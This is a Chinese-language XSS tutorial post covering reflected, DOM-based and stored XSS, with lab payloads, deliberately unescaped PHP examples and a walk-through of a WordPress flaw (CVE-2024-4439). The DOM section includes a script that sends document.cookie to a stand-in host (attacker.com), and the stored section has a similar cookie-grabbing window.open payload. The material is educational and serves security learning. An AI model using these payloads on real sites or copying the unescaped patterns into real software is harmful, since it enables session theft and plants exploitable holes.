WEB安全--XSS--XSS基础

发布于:2025-04-08 ⋅ 阅读:(30) ⋅ 点赞:(0)

一、反射型XSS

1.1、原理

介绍:

非持久化,需要用户点击恶意链接触发恶意代码。

反射型XSS是指攻击者通过在URL参数或表单数据中嵌入恶意脚本,服务器将该数据直接反射回用户的浏览器。当用户访问修改过的URL时,恶意脚本在浏览器中执行。

具体形式:

1.2、payload

#参考靶场xss-labs-master

<script>alert()</script>

<script>alert()</script> 

onfocus=javascript:alert()       /*需要点击**/
    
onclick=javascript:alert()       /*需要点击**/

<a href=javascript:alert()>x</a>     /*需要点击**/
    
<img src='x' onerror=alert()>
    
onfocus=alert() autofocus=
    
<svg onload="alert(1337)">

1.3、示例

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

我们输入:1' οnclick='alert(1)

二、DOM型XSS

1.1、原理

介绍:

不需要经过后端代码处理,在前端javascript调用DOM元素时产生的漏洞。

DOM型XSS是指漏洞存在于客户端的JavaScript代码中,攻击者通过修改网页的DOM结构,导致恶意脚本的执行。攻击并不依赖于服务器的响应,而是通过恶意脚本直接修改浏览器中加载的文档。

具体形式:

1、攻击者构造恶意URL

2、用户点击或访问链接

3、页面加载时,前端JavaScript读取location.hash、location.search或document.URL等数据

4、未经过滤处理的恶意数据被插入DOM,导致执行恶意脚本

1.2、payload

<div id="URL"></div>
<script>
   document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回当前显示的文档的URL
</script>
//构造的当前页面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者访问该URL后,由于载入图像失败,因此触发onerror事件,执行URL中指定的JavaScript弹窗代码(弹窗中显示“XSS”)。

1.3、示例

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

我们输入:

<script>
document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '" />');
</script>

浏览器中的cookie就会发送到我们的服务器(attacker.com)

三、存储型XSS

1.1、原理

介绍:

攻击者提交数据:攻击者向一个可以存储用户输入的系统提交包含恶意代码的输入,比如评论区、用户资料、论坛帖子等。

数据存储:服务器存储了用户提交的数据,包括其中的恶意代码。

用户查看数据:其他用户在查看这些存储的数据时,服务器将数据从数据库中提取并发送到用户的浏览器。

恶意代码执行:当用户的浏览器渲染返回的数据时,恶意代码被执行。

数据被窃取:用户的数据会传到攻击者的服务器上,这可能导致各种后果,比如窃取cookie、劫持会话、重定向用户到恶意网站等。

具体形式:

1.2、payload

<script>window.open(\'http://localhost/CrackTest/xsstest/test.php?
cookie=\'+document.cookie)</script>

1.3、示例

cve-2024-4439 wordpress 存储型xss

if ( '_blank' === $attributes['linkTarget'] ) {
            $label = 'aria-label="' . sprintf( esc_attr__( '(%s website link, opens in a new tab)' ), $comment->comment_author ) . '"';
        }
        $avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
    }
return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );



其实这里一开始看并没有看出什么问题,细看会发现esc_attr__函数并没有包裹
$comment->comment_author,也就是没有对$comment->comment_author进行处理,
最终通过sprintf翻译输出了$comment->comment_author,在下面的代码中直接就将
$label嵌入到了target="%2$s之后,这就导致了XSS的问题。


网站公告

今日签到

点亮在社区的每一天
去签到